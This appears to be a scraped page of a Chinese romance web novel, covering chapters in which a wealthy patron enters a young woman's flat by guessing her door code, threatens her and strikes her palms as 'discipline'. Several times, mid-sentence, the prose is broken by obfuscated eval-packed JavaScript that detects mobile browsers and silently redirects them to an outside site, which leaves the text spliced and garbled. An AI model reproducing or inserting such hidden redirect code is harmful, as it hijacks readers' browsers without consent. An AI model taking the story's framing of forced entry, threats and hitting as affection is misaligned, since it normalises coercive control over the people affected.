d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071961|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然说着:“女孩该好好富养。” 清茉搞不清没来由地怎么冒出这么一句,听到就笑,问着:“敢情您想把我再富养一遍?” 施友臻倒是没否认,清茉怎么都觉得哪里不对,问着:“您是有养成的趣味?看不出来玩挺大嘛,哥,但是您该投资年纪更小些的吧,我都成型了,很难改造了。” 施友臻没搭她话。 清茉怎么琢磨怎么不对味,一时间又讲不出来哪里不对。 抵达清茉楼下的时候,施友臻问了句:“跟你身份证住址一致,是你自己的房子?” 清茉:“嗯,贷款还没还完呢,就是个四五十平小户型,上来参观一下?”她本着嘴巴不能吃亏,人设不能出错的原则,冲施友臻眨眼睛,问着:“已经这么晚了,要不哥在我这里过夜?” 清茉心理预期是道貌岸然的施友臻绝对不会答应,结果施友臻停好了车子,也解开安全带下车,说着:“好。” 清茉大怔,眼睛惊圆,困意全飞。 “不是……” 施友臻个高腿长,已经几步走到单元门口,清茉忙跟过去着急又几分恐惧地抓住施友臻袖口,拉住施友臻说着:“但是今天太乱了,改天吧!” 半新不旧的小区,单元门口的灯光昏黄,清茉昂着脸看施友臻,总觉得施友臻是擒了几分识破她小九九意图的笑意,清茉果断认错:“我错了哥,以后严格按照合同来,不讲这种轻浮话了。” 施友臻驻足,说道:“乖一点。” 清茉觉得跟施友臻斗智斗勇简直太费神了,关键是费神也没用,总觉得要被拿捏。 声控灯熄灭,周遭变暗,清茉恍惚,夜晚的一切荒诞又虚假,并不是深夜良梦。未知的麻烦和纠缠难以预见,她被一个压迫性气场十足的成年男人挡住回家的路,签了一份意义不明的协议,用一个假的身份和假的经历,唤起这个熟悉又陌生男人诡异的博爱行为。 施友臻落下一句话将声控灯惊亮:“资助你是因为你喊我一声哥,喊我哥的人不多。至于别的,不要多想,不管是我,或者少衡,都不是你该多想的。” 前半句感人,后半句诛心。 是施友臻的行事风格。 施友臻是体面的高贵人,连警告的话都讲得这么含蓄,清茉心情复杂地接收,理解了为什么有些演员拍摄结束后很难出戏。 她突然很好奇,施友臻的底线会在哪里? 风尘女和高贵男,冲突张力拉满,是很好的网络小说题材,夹杂着人性挣扎和沉沦。如果男主是施友臻这样习惯高高在上、爱用惯有思维习惯定义世界的人,会怎么选择? 不过清茉很清醒,就算风尘是假,她跟施家兄弟,也早就不是一个世界的人了。 深夜困顿,灯光再次熄灭,清茉平静地轻声说着:“嗯,知道,总之谢谢您还这么当回事儿惦记着,哥,晚安。” 施友臻:“嗯,晚安。” 清茉上楼,先去冲了个澡,又花了十几分钟收拾好行李,准备睡觉的时候看了眼手机,施友臻发来了两条信息: “明天去看给你准备的学习用房。” 估计是她长时间没有回复,施友臻又补了一条: “信息要及时回复,电话也要及时接。” 9. 第九章 还真是突如其来的管束,控制欲这么强的吗施总? 清茉简直不知道怎么回,不过总有种不想落下风的斗争精神,她琢磨片刻,回复道:“哥,正常的恋爱关系我可以有的吧?” 施友臻片刻后回复:“可以在补充协议里适当界定。” 清茉:“……” 躺下浅眠了一会就被闹铃喊醒,清茉赶紧洗漱往单位办公室赶,接上领导们去车站,拿了提前点的早餐拎着大大小小的袋子上车,招呼服务一大圈后才坐定,喘口气跟临市对接的工作人员核对行程和接站车辆联系方式。 很忙,忙碌的时候看到施友臻发来信息:“今天下午五点钟去看学习用房,会有司机去接你。” 现实和谎言造成的境地交织在一起,有种奇妙的割裂感。 不过总得找点正当理由躲避,清茉想了想,给好朋友老六发了求助信息:“帮我伪造个模特简历,最高学历高中,编点工作经历,然后再帮我拟一个入职你公司的工作合同。” 老六电话直接播了过来,好奇问着:“公主殿下又整什么幺蛾子?” 老六原名刘真真,自己开着家买手店,兼着微型经纪公司,上到中老年模特,下到可爱猫猫狗狗模特,都能联系买卖,买手店叫“六六”,她就干脆让大伙喊她老六,一路666。 清茉起身去车厢连接处接电话,说着:“联系方式和联系电话都写你,写好了发给我,万一有人找你核实,你就说这两天我在你店里有拍摄工作。也不一定真的打给你核实,反正万一接到,别说漏了,我现在就是一游荡着接活的小模特。” 老六笑:“招人了吧你,玩大了?我就说你天天假正经,早晚玩个大的。过来玩细说说呗?你还别说,店里正好淘来一批超季,你过来Modle一下整点效果图,我给客户发过去。” 清茉:“我后天出差回来过去,你可千万帮我盯好了,我真实工作什么的,一点都不能漏。” 老六爽朗应着:“放心吧,我给你整个花里胡哨的简历,咱俩对一遍。” 清茉安排好,老六很快抄了点模版,把瞎编的合同跟简历发过来,为了显得真实,简历里还一长串老六合作过的TB、PDD女装店,清茉笑着点了OK,这才去回复施友臻,写道: “这两天还有之前约定好的工作,后天拍摄完可以,正经拍摄!” 施友臻回复:“什么拍摄?在哪里?” 清茉瞧着乐,在跟施友臻的交锋中,终于有种“我终于预判了你的预判”的超级爽感,把跟老六的合约截图了一部分发过去,还把之前在老六买手店拍的店面照片也发过去,写着:“城东超火的一家买手店,跟老板约好要拍完新货,跟人家也是有合同的,不信哥你打电话问老板。” 施友臻没回。 清茉补了一条:“后天晚上七八点钟都可以,先这样,拍摄不方便拿手机。” 应该算是应付过去了,清茉松口气。 正在会议中的施友臻点开清茉的信息,第一反应的直觉是并不信任她。 跳脱,逃避,难以驯化。 施友臻微微蹙眉,会议气氛愈发凝滞,正在汇报项目的人瞧着施友臻的脸色磕巴一下,见施友臻没打断,这才稍安地继续讲。 结束会议后,施友臻去搜索了一下那个“六六”买手店,准备晚上过去看一看,到底清茉有没有撒谎。晚上忙完就驱车赶过去,真的站在店外的时候,施友臻对自己的反常行为深入反思了一下。 他的时间向来宝贵,而此时此刻是不是在浪费时间做没有意义的事情。 施友臻很快让自己的行为逻辑闭环:因为不能容忍欺骗,如果林清茉刚开始就要两面三刀欺骗,那么这样的救助,就真的是没有意义的儿戏了,烂泥扶不上墙的话就及时止损,或者给一笔钱就当仁至义尽了。 确实没有理由把精力浪费在这些事儿上。 不过清茉再次预见了施友臻的行为逻辑。 当然她也没自视贵重到觉得施友臻会亲自过来查看,只是觉得以施家大哥眼睛里容不得沙子的性格,被放鸽子肯定是要验证一下真伪,就跟六六嘱咐,万一有人上门核实,就说人手不够,拜托清茉去临市市场拿新的一批时装了。 六六在店里理衣服,听见迎客铃铛清脆声音的时候起身喊着:“欢迎光……” 她的店网红归网红,但是像施友臻这样的客人,不是罕见,而是压根没见过。 六六面对眼前一身严谨正装的严肃男人瞬间词穷卡壳,半晌才降了音量问着:“您好,需要看服装吗?男装区在二层,我带您上去吧。” 施友臻四下看去,极繁主义的复古风格小店将空间塞得满满当当,跟他的审美大相径庭,关键是也不见什么拍摄的场景,他直接问:“林清茉在吗?” 六六先是愣愣点头,然后又赶紧摇头,虽然知道自己显得很呆,但是在眼前这个陌生男人眼皮子底下扯谎,总觉得很是心慌,她赶紧道:“清茉刚才还在呢,我临市分店有批衣服需要看看货怎么样,她帮我过去盯着了。” 施友臻显然难以被说服,六六硬着头皮道:“清茉是我这里合作很久的试装模特了,网店上不少都是她拍摄的,您是……她朋友?” 施友臻没说话,六六继续找补:“我店里跟清茉签了个长约,很熟了,有事儿清茉都帮忙跑一下,她嘴甜,可妥当了。您怎么称呼?我给清茉打个电话?” 六六请施友臻坐,施友臻并没有坐下,只是说着:“不用了。” 六六:“她明儿核对好那边店里货品就回来。” 施友臻:“嗯,打扰。” 六六送施友臻出门,瞧了眼施友臻的座驾豪车,越发心虚,目送走了之后,赶紧给清茉电话通风报信,清茉倒是挺意外施家大哥亲自上门核实,莫名其妙又毛骨悚然。 六六不安问着:“你借他钱了?借多少?人帅是帅,但是像招惹不起的那种,气场三米八,我都不敢看他眼睛,多说半句感觉都是露馅儿。欠了多少?不太多我帮你先还着,你别招惹人家。” 清茉在电话那头被逗乐,说着:“他平时就不爱笑,不算故意阴着脸。这事儿一句话也讲不明白,回去跟你说,刚才你该让他买点东西的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071962|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位不差钱。” 六六:“别别别,咱可不敢惹,你看看他一身行头的品味,那是我这小店能匹配的吗?我送他出门瞧了眼人家的车,很罕见的豪车啊妹妹,平时爱来我店里消费的那些公子哥们,跟他比都像是没家底的街头混子。” 清茉:“过誉了啊,他就是板正些。好了回头再聊,我这边还伺候场子呢,明儿回见。” 清茉负责出差在外的后勤安排和行程对接,忙忙叨叨不得闲空,终于开完会返程,车上很困很困还得强打精神听着总经理安排明天的会议,要通知几个部门负责人参会,还有外单位的几个董事,得拟出正式的会议通知和议程。 从车站直接回了公司,喝杯速溶黑咖喘口气,同事何姝好奇问着:“出差怎么样?我什么时候才能陪领导出次差。” 清茉扎起头发,说着:“很累的妹妹,这可不是游山玩水!” 何姝:“出去走走透透气多好,办公室好闷。” 清茉处理完堆积的工作已经八点多,下午光喝了杯黑咖,很饿很饿,收拾东西的时候想着施友臻好像约着今天晚上看房子,但是也不见联系。 不联系更好,虽然清茉挺好奇能给她借住个什么屋子。 很饿很饿的清茉干脆直奔六六店里,老六买手店旁边有个脏摊麻辣烫,叫桥底麻辣烫,是那种通排长灶开放煮的小摊,通宵营业,她跟老六经常半夜三更去吃几串,主要是灌几杯清凉扎啤畅快一下。 喝酒的时候,清茉把这遭事儿跟老六交代了,但是关于之前那些纠葛淡去不提,老六听完目瞪口呆,尤其是知道对方是融恒集团的大佬后,都没胃口继续吃了,问清茉:“你玩弄人家呢?敢情你自己拟的人设是多情风尘女?” 清茉喝了一大口,摆了摆手指,说着:“我这是社会实践。” 老六劝她:“虽然就见了一面,我觉得他不像是好说话的人,你别玩过火了。” 清茉笑:“慈善家哪有不好心的,放心我有数,暂时你帮我兜着点儿。” 老六无语:“我怕他一生气把我这小店儿给铲了。” 清茉乐:“那不会,人家体面人,瞧不上跟咱们这种市井小民计较。” 跟六六喝到微醺,将近十二点清茉才打车回家,她跟六六倒也没说瞎话,是真觉得施友臻这种家大业大的成熟男人,眼高于顶,睥睨人间,可以一时兴起,但是不会真的为什么人走心费神。 这种人,决绝得很。 说到底就是彼此凑个短暂的热闹,不会伤筋动骨,全当添点乐子。 林清茉下车,刚才的酒喝得快,这儿仍旧上头,她走回家开门进屋,在玄关处发现屋子里亮着灯,还以为走急了没有关灯。 换好鞋子,放好包包钥匙,转过玄关遮挡,明亮光线中赫然看到施友臻坐在客厅沙发上,清茉吓得一哆嗦。 小户型紧凑的客厅坐着挤占了大半沙发空间的男人,施友臻仍旧是那种主人一样的姿态,黑色西装裤下修长的双腿交叠,一只胳膊放松地搭在沙发扶手之上,眼睛迥然锐利地看向清茉,存在感极强,惊得清茉酒醒了一半。 10. 第十章 清茉警惕又紧张,对于不打招呼侵入私人空间的行为非常反感,质问道:“你这样,我报警了。” 屋子空间小,想拉开距离也没有那么大空间,不过是三五步远的距离,局促紧张的清茉带着明显的酒气出现在那里,施友臻打量着她,一幅早就料到如此的神态,反问着:“报警的难道不是我吗?你拿着我的卡失联,串通朋友谎话连篇,约人花天酒地玩得愉快吗?” 清茉反驳:“你压根没事先联系我,什么叫失联?你怎么进来的?” 施友臻拿起手机,拨通清茉的号码,传来机械的女声:“对不起,您拨打的用户已停机……” 清茉一怔,真是没发现自己手机停机,晚上联系六六一起吃饭的时候还能正常通话。 施友臻关闭通话,说着:“至于怎么进来的,你习惯所有的密码都是自己生日,密码锁试了一次就打开了。” 清茉:“……那你也不能随便进来。” 施友臻是时间观念极强的人,清茉之前说今天晚上会联系约着看房,施友臻记住并排进了日程,就默认为她会信守承诺。准备见面的时候再戳破清茉串通朋友表演障眼把戏. 结果林清茉压根没联系,施友臻打过去电话,竟然是欠费提醒。 原本已经开车往清茉住处驶来了,这会联系不到人,他就直接到了清茉小区,那天问过住哪户,上楼敲门没人应,施友臻便试了试密码,摁了清茉惯用的生日,竟然第一遍就打开了。 打开门的那一刻,施友臻给予自己的行为找补逻辑合理性,发现全是漏洞,很难找补出即符合道德,又符合他行事原则的理由,而且,就算清茉停机,给她充个花费也就联系上了。 但是施友臻斩除内耗的自证行为,并且保留了林清茉手机停机失联的证据,以投资人的身份堂而皇之地进了清茉家里。 房子确实很小,扫一眼就能把全部空间看完。 意外还挺整洁,阳台上是一个落地书柜,摞满了各式各样的图书,唯一的卧室闭着房门,小小的客厅只摆放了一个两人位沙发。 施友臻有些渴,去打开厨房门口的冰箱,里面还有两瓶苏打水,就取了一瓶。 坐到沙发上拧开水润了下嗓子,浏览起手机上的几个文件等清茉回家。只是没想到清茉凌晨才回来,甚至还带着明显的酒气。 施友臻看到清茉穿着工装裙套装和白衬衣进门,甚至觉得她这样装清纯知性更罪恶,揣度她是不是玩着白领变装游戏去混不三不四的局,当然,浓妆艳抹衣着暴露他也看不惯,但是瞧着眼前清茉一身乖巧文雅职业装的做派,施友臻脑子很多恶的想法,越揣度越上火。 清茉哪里想得到自己正常一套上班衣服能让此情此景火上浇油,原本还想理论几句,只见施友臻突然起身去了厨房,从洗碗池上面取了一个刷杯子的长柄刷,走到清茉面前,说着:“把手伸出来。” 清茉:“?” 施友臻:“掌心朝上。” 清茉紧张:“你想干嘛?” 施友臻:“你应该去查查那张卡里存着多少钱,签了协议,就是有了契约基础。既然管理的权限在我,总不能第一天就让你撒谎得逞,协议不是让你好好看吗?违约条款和惩罚措施这么快就忘记了?” 清茉紧张地把手缩到身后紧紧攥着,硬气道:“我没撒谎,也没动你的钱。” 施友臻:“我看起来很好骗?” 清茉:“我真的是去拍摄了,明天把照片发给你。” 施友臻:“把手伸出来。” 清茉:“我报警!” 施友臻:“伸出来,打十下今天的事情就翻篇,长长记性。” 清茉:“你变态!” 施友臻:“第一天知道吗?小时候没被揍吗?天天不经允许闯进我卧室、书房的时候,我也很想报警,手伸出来。” 清茉:“你这是想寻仇吗?太变态了,我不要。” 施友臻并不像他平稳的语调那样有着无尽的耐心,但是他是不喜欢暴力的谈判派,再次强调道:“打十下,今天的事情翻篇。” 清茉:“我不呢?” 施友臻仍旧是用他平缓沉静的语调说着残酷的话:“我喊人过来摁着你打,或者报警你盗窃送进去教育,或者去把帮你撒谎的朋友店面掀了。” 全是超乎清茉想象和接受范围的选项,清茉这会才后知后怕,觉得施友臻像危险的陌生人,她印刻在记忆中的那个邻家哥哥,只是她妄想出来的虚影。 清茉研判着眼下场景,软了语气央求道:“……哥,真的没骗你。” 施友臻不为所动:“手伸出来。” 清茉也几分不耐,说着:“你怎么变这样了?也不是,你从小就是怪。” 施友臻表情更加不快,点了点手中的木柄,下巴轻抬,示意清茉赶紧伸手。 清茉倒也不觉得施友臻能真打,这么紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施友臻想,对于女孩来说,或许真的是无可选择才会走上那种便捷的路,清茉到底是吃了苦吧,谁不愿意堂堂正正过一个轻松安省的日子呢。 施友臻将木柄刷子扔到地上,摔在地板上啪嗒一声,他说着:“记住了吗?不能撒谎,更不能撒着谎去喝酒鬼混,我既然决定资助你,也会管教你,以后好好走正道。这是第一次也是最后一次。林清茉,碰见能拉你一把的人,你好好把握。” 施友臻说完就干脆地离开,林清茉懵懵地像走进了平行的异空间,这都什么跟什么啊?她又疼又气又炸又无处发作,咬牙切齿想着施友臻这混蛋,这么入戏就别怪她也要演上了! 施友臻下楼,发动车子驶出去很远,脑中仍旧是刚才那几幕,还残留在掌中的温润触感,倔强眸眼泛着惊惧的水光,瘦削抽动发抖的肩膀,以及那句: “你从小就是怪。” 11. 第十一章 施友臻少时理解不了为什么弟弟少衡能够单纯、放纵、顽劣、调皮到令人发指的程度,直到慢慢发现,自己才是另类。 少衡和清茉才该是小孩该有的样子,哭闹可以博取关注,调皮可以活跃气氛,小孩子就该跑跑跳跳无所忌惮,小孩有小孩样子,才得到更多喜欢和爱护。 而他,过于早慧,过于孤僻,又被默认是挑起担子的人,反倒是成了不合群、怪异的那个。 林清茉指责他“从小就怪”,没有讲错,时隔这么多年再次听到这种评价,施友臻还是介意。 他把车停泊在路旁,下车靠在车旁吹了会夜晚凉风,心情说不上好或者坏。左手好像还残存着刚才肌肤接触的感觉,女孩的手腕纤细,皮肉柔软,他灼热掌心紧抓清茉的手腕,清茉皮肤温度低些,施友臻很少与人碰触,温凉细腻的陌生触感让他介意到现在。 施友臻有种想调头再回清茉家看一眼的冲动,想着刚才打得力道是不是太大。 她被很多人碰触过吗? 这是不能深想的事情,但是施友臻控制不住要去想。 已经发生过的事情,无解。山难改性难移,他又凭什么自信,去成功改造一个定型的成年人? 施友臻面临过很多难题,但是眼前这个不大不小的困境,像咬在骨节处的蚊子包,扎在皮下的木头刺,梗在喉咙的鱼骨,磨在脚底的沙砾,貌似无关紧要,就是很不爽,很不舒服。 施友臻在外面待到很晚才回家。 林清茉晚上也好不到哪里去,睡眠质量很差,老是做梦,清晨更是在梦中惊醒,梦里她站在施家大院里玩,突然从二楼传来很响的关窗声,声音很大很大,“砰”地一声巨响,直接把清茉惊醒。 二楼是施友臻的房间,梦中的施家大哥估计是被吵得受不了,猛力关窗泄愤警告。 从小到大,从梦境到现实,他都是难伺候的主儿,话少,但是讲究很多,小小年纪就做派老旧,清茉小时候就很会琢磨施友臻脸色,讨好到点子上,会从施家大哥那里得好处,马屁拍到马腿上,施家大哥碍于修养,装大度不计较的同时,会沉下脸一声不吭。 清茉起床洗漱,刷牙的时候看见自己手腕上有明显的一圈浅青色印记,昨天晚上施友臻至于那么生气吗?这使了多大劲儿?西装革履也盖不住他一身驴劲儿,那体格子从小就衬得弟弟少衡像弱鸡。当然实际少衡是一阳光小少年,不弱的。 打开衣柜换衣服,今儿穿了件米色羊毛大衣,想着昨施友臻生气也是以为她出去玩变装PLAY,她因为参加正式的外部接待会议才特意穿的正装好吧!这混乱的风尘戏码要不找机会坦白了?改天想想怎么找机会吧,清茉先要赶紧上班。 小区门口有直达公司的公交车,清茉戴着耳机子上车,今天还挺幸运,最后一排有空位。到了单位又是忙得连水都顾不上喝,准备完各种会议材料也到了午饭的时间,何姝约清茉去隔壁大厦餐厅吃午饭,清茉懒得走,也没什么胃口,应付了几片苏打饼干。 总经理路过清茉办公室门口,把清茉喊到一间小会议室,总经理平时对清茉比较照顾,私下里处得比较融洽,说着:“按照规章制度原本不应该跟你讲这些,上午人事部门把今年绩效的评定表报上来了,我跟你主管副总讨论过,但是她坚持要给你降级,我想听听,是不是跟她有什么误会?你工作能力有目共睹的嘛。” 清茉突然就很疲惫厌烦,但也不是冲动的年纪,强打精神笑道:“副总比较细致,我可能有时候太大条了,话说回来,我具体工作什么情况您也了解,没有工作漏洞,要是真给我降级,我以后可真不知道该怎么干了。” 总经理点头,说着:“那我再跟她谈一下,你也该认清楚实际,好好把握,该表态的时候表态。” 公司里的薪金登记严格保密,但是职场上也没有什么是绝对秘密。下班的时候,跟清茉同年进公司的人事姑娘冲清茉使了个眼色,清茉去平层露台,管着人事文件流转的姑娘小声说着:“总经理已经签字了,按照副总的意思真给你评定降级了。” 清茉心里是我了个大草,无语他妈给无语开门。 下班乘电梯去一层,清茉走出公司大厦才觉得饿,去底商便利店随便买了个面包,边走边撕开包装咬了一口,甜腻得吃不下第二口。今天的事情蹊跷,不管是总经理提前透风谈话,还是他同意副总给降级。 跟清茉预期的不一样,总觉得里面有些她没有GET到的弯弯绕子。 工作一旦不纯粹起来,就会越来越糟心。 裸辞是不可能的。房子的贷款还要固定交,原本还要打算年初买车,裸辞是绝对不可能的,现在的就业形势,找到理想的下家并不容易。 再说,不就是考核降级,更不公平的事儿清茉又不是没经历过,又不是一分工资不发,怕什么,职场就是这样,不是工作能力强,承担工作量大,就一定能获得正向反馈,要看背景,看人际,看脸色。 消停消失一天的施友臻,这会突然拨进来电话,正在消沉独处的清茉看着他的名字,电话震动了很久才接起来,也懒得跟平日里似的装礼貌,直接问着:“干嘛?” 施友臻:“在家?” 清茉:“不在。” 施友臻:“在哪儿?” 清茉:“有事儿说事儿。” 施友臻:“晚上见个面。” 清茉:“不,今天不舒服。” 施友臻:“怎么了?” 清茉:“想早点睡,明儿再说吧。” 挂了电话,施友臻又发信息过来,写着:“哪儿不舒服?” 清茉当机立断发过去一张图片,就是手腕乌青一圈的那张,早晨觉得实在夸张就拍了下来,现在正好发过去堵住施友臻的嘴。 施友臻果然没再骚扰。 清茉在小区超市买了两瓶啤酒,想吃口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071964|163248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道重的,就让店员帮热了一根烤面筋,到家洗澡换睡衣,打开电视当背景音喝啤酒,琢磨着今儿总经理的反常,副总这种明着来的她倒是心里有数,但是总经理这种深藏不露的,清茉心里没底。 算了,真没什么大不了的,就是损失了几万块年终奖,心疼是心疼,也没办法,如今这份日复一日的稳定生活和平凡工作,也是她用尽最大气力争取来的,她很珍惜,兵来将挡水来土掩吧。 连着几天费心费力的奔波,清茉很困很困地早早上床,手机静音放外面充电,她想好好睡个觉。 所以施友臻给清茉打了十几通电话,一直无人接听。 他自己坐在办公室,保存了清茉发来的手腕照片,白细皮肉上一圈扎眼的浅青色痕迹。施友臻看着照片,又拨了几次清茉电话,还是没有人接听。 施友臻起身,他提前让助理取来专门购置的保温餐盒,里面也盛放好了清茉那天爱吃的几样糖水夜宵,拎着去了直接去了清茉家。 敲门也无人应,施友臻直接摁密码,密码没换,他跟进自己家似的又进去了,今天的行为逻辑非常好找到闭环的理由,一个声称身体不舒服的人突然失联,是需要去家里看一看情况的。 房间内只在客厅亮着一盏小夜灯,暗示着夜晚寂静的房子里,主人是在家的。 施友臻已经适应这窄小的空间,将糖水放到餐桌上,看到卧室虚掩着房间的门,轻声喊了句:“清茉?” 没人应,施友臻走进房间,借着夜灯渲染进卧室的微弱灯光,确认清茉是在房间睡着了,安安稳稳地半拥着被子,呼吸均匀,沉沉陷进柔软被褥枕头之中,好像将周遭的温度也带上暖烘烘的温热。 清茉长发散在枕边,白日里精亮着眼睛字字句句不落下风的人,睡着了倒跟小时候一样,从小就极具迷惑性,安静待着就像个乖巧无害的奶糕娃娃,实际则是胆大包天。 他探手摸了下清茉的额头,倒是没发烧,怎么睡得这么沉? 施友臻打开手机灯,抬起清茉露在外面的手腕仔细查看,痕迹已经不太明显了。 碰触大概惊扰了清茉,她明明没有睁眼睛,但是却低低地开口问着:“哥?” 施友臻:“嗯,怎么知道是我?哪里不舒服?” 清茉没有清醒,喃喃低语继续说着: “你去哪儿了?” “少衡呢?” “他们好多人。” “我找不到你们。” 是要仔细听才能听清楚的细细呢喃。而在这寂静黑暗中,清茉的这几句话,施友臻听得清清楚楚,站在床边良久未语。 清茉睡得早,睡得足,清晨又迎来新的一天,她恢复元气,起床路过客厅,发现餐厅桌子上放着一个餐饮保温袋,袋子上是融恒集团的标识。 清茉去打开一看,是几份眼熟的糖水。 得,家里遭贼人惦记了,得赶紧把密码换掉。 12. 第十二章 清茉想去换掉密码,却记不起说明书放在了哪儿,翻找平时集中存放电器说明书的抽屉,理了两遍,就是没有智能锁的说明书。可能当时安装完放在包装盒里扔掉了,清茉放弃翻找,想着待会问一问网上客服。 早晨的时间还算充裕,清茉洗漱好坐到餐桌前,打开桌上的袋子,融恒集团餐厅的外带保温袋中,竟然夸张是地放着某奢牌的两套餐盒,清茉瞧着象征浮夸跟溢价的品牌LOGO,打开手机搜了下市值售价,顿觉自己配不上糖水,糖水配不上餐盒。 里面有一份椰奶燕窝炖,清茉换了盛具,倒到自己家的白瓷碗中,去微波炉加热了一会,等候的时候把那两套餐盒洗干净收好。加热好当成早餐吃,清茉端出来坐在椅子上一勺一勺吃得干干净净,把另外一份姜撞奶打包进自己平时上班带的密封餐盒里,准备当午餐吃。 之前有一小段兵荒马乱没有安顿好的日子,被饿过几次也就懂了要珍惜粮食,浪费可耻。 就算是施友臻拿来的,施友臻有罪,美食清白无罪。 公司里算是过了年底结项会、总结会最密集最忙的一周,加上昨天发生的事情,清茉干脆一到单位就写了年假申请单,准备离着是非之地远一些,忙了一年,好好休息一下。尤其是听说下周应该是要组织外出团建,副总让何姝找的那个全包的团建执行方,怎么看都不靠谱,清茉觉得应该躲远点,避开外出团建。 这种团建每年其实都很累,又是体力运动又是陪着喝酒唱歌,真的不如自己修个年假舒服。 好在公司有必须修年假的比例要求,行政后台这边还没达到比例要求,副总签字的时候不满地说了清茉两句,意思是马上要组织全公司团建,行政部门怎么能缺人。 清茉嘴上说着不好意思,心里想着都给我绩效降级了还指望效犬马之劳呢,女人何苦为难女人,都是人精,怎么可能猜不到清茉为什么这个时候修年假,而且副总让人事提前先弄了几个实习生过来,不缺牛马的。 总经理倒是没说什么,周五单子流转到他那里签批完,清茉终于松口气,下周可以窝在自己的小天地里好好享受生活了。 周五清清静静下班,就连有点难以处置的施友臻也像凭空蒸发一样,两三天没有出现了。 他这样突然出现又突然消失,倒是让清茉想起来小时候的一些趣事儿,就是那次她跟少衡把圣诞树点着了,火势蹿很大,大人们又没在家,眼看着火焰燎到房屋保温墙体了,施友臻拎着灭火器跑出来,连着喷了好几个,才把火控住。 施友臻很生气地打了她跟少衡的手心,清茉那时候其实是后怕加疼痛,紧张得要命,就使劲儿哭了起来。施友臻估计没料到清茉能哭那么凶,大人回家的时候正好是清茉哭最凶的时候,都围着清茉哄,少衡在一旁添油加醋告状,说他哥坏话。 施友臻身上还残留着半身灭火器喷出来的粉末,一身狼籍地站在那里沉默看着他们。 火是施友臻及时扑灭的,玩火犯错的人也是施友臻教训时候打哭的,大人们哄的是哭得最凶最委屈的那个,是非对错根本就不重要。 那次算是施友臻罕见的过激行为,那天之后,清茉怀疑他是刻意躲避碰面,总之再见到施友臻是很久之后的生日宴会,施友臻送了清茉很贵重的生日礼物,听妈妈们闲聊才知道,是施友臻用自己赚的第一桶金买的礼物。 是什么来着?一只稀有皮的小包,清茉收到很喜欢,生日那天一直拎着小包,正好配自己的蓬蓬公主裙。 原来还是能记得很清楚。 清茉猜施友臻肯定会把抽打她手心再次定义为过激行为,估计又会消失一段时间再面对,施家大哥人设不倒,冲动之后必反省,挺好,清茉乐得清静。 周末答应六六去她店里帮忙试穿新装拍摄,清茉睡到自然醒才慢悠悠过去,也不着急拍摄的事儿,阳光很好,天空很蓝,不刮风的冬天日头非常难得,她跟六六溜达去旁边产业园区,那边有家超好吃的店,六六去的多,跟老板都混熟成朋友了,今儿专门给她俩留了二层阳光房临窗户的位置。 进店跟老板打招呼,老板三十出头,但是喜欢别人喊他叔,为此还专门蓄胡子,江湖人称焦叔。焦叔招呼道:“老六来了?上去点单吧,茉今儿也过来了?老六说今儿你们要拍摄?” 六六:“对,焦叔你最近弄不弄烤全羊?哪天在屋顶上再订一顿呗?” 焦叔:“成,到时候约你俩。” 二楼布置了很多葱翠绿植,清茉陷在舒适的沙发里懒懒晒着太阳,点了一直超爱吃的烤番茄奶酪三明治,配着加冰桃子气泡水,慢悠悠听店里的流行乐,筋骨都松散起来,懒懒地靠在沙发位中发呆。 六六消灭掉她的牛油果三明治,喝着焦叔送上来的热红酒,也懒懒地晒着太阳问道:“你怎么着了?” 清茉:“嗯?什么怎么着了?” 六六:“跟融恒集团的那位爷!” 清茉:“哦,没怎么着,道不同不相为谋呗。” 六六不咋信地撇撇嘴:“哪天被灭口了提前跟我说,我躲远点,避免误伤。” 清茉:“好义气,没问题。” 清茉话音落,说曹操曹操就到,手机铃声响起,屏幕上跳动施友臻的名字,她挺无语地接起来。 电话那头施友臻问道:“在家吗?” 清茉:“不在,在六六这里。没鬼混,没不检点,没招花惹草,就是吃饭聊天,喝的是没有酒精的热红酒,不信可以调店里监控,你不是手眼通天吗?” 坐在对面的六六目瞪口呆地听着清茉怼人,一脸这绝对招惹上了的无语表情,眼白翻上天际。 施友臻听到,明显顿了一下,又说着:“一会有人给你送些资料,接听一下电话,我让他送去你朋友店里。” 清茉:“嗯。” 施友臻又停顿了一下,说道:“卡可以刷。” 清茉笑:“刷卡很麻烦,现在谁还天天揣着卡,刷卡机都不见得哪儿都有,移动支付普及很久了好吧。再说你不备注明白是赠与,谁敢用,到时候你一生气告我上法庭让我偿还,那我不傻眼了。” 施友臻被她呛得又是一顿,片刻后说着:“好,给你线上转账,会注明赠与。” 结束通话后施友臻立马转了三千块钱过来,并一板一眼注明: 